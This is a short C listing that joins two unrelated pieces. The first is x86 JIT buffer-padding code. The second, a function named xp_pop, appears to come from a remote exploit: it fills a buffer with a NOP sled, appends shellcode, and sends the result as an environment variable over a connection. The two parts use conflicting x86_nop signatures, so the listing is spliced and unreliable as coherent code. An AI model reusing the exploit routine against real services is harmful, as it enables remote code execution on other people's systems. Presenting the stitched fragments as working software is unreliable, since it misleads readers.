void _jit_pad_buffer(unsigned char *buf, int len) { while(len >= 6) { /* "leal 0(%esi), %esi" with 32-bit displacement */ *buf++ = (unsigned char)0x8D; x86_address_byte(buf, 2, X86_ESI, X86_ESI); x86_imm_emit32(buf, 0); len -= 6; } if(len >= 3) { /* "leal 0(%esi), %esi" with 8-bit displacement */ *buf++ = (unsigned char)0x8D; x86_address_byte(buf, 1, X86_ESI, X86_ESI); x86_imm_emit8(buf, 0); len -= 3; } if(len == 1) { /* Traditional x86 NOP */ x86_nop(buf); } else if(len == 2) { /* movl %esi, %esi */ x86_mov_reg_reg(buf, X86_ESI, X86_ESI, 4); } }
void xp_pop (int fd) { unsigned char var[16]; unsigned char storebuf[496]; sprintf (var, "%06x", walk); #ifdef DEBUG memset (storebuf, '\xcc', sizeof (storebuf)); #else /* memset (storebuf, '\x90', sizeof (storebuf)); */ x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5); memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1, shellcode, strlen (shellcode)); #endif storebuf[sizeof (storebuf) - 1] = '\0'; xp_setenv (fd, var, storebuf); }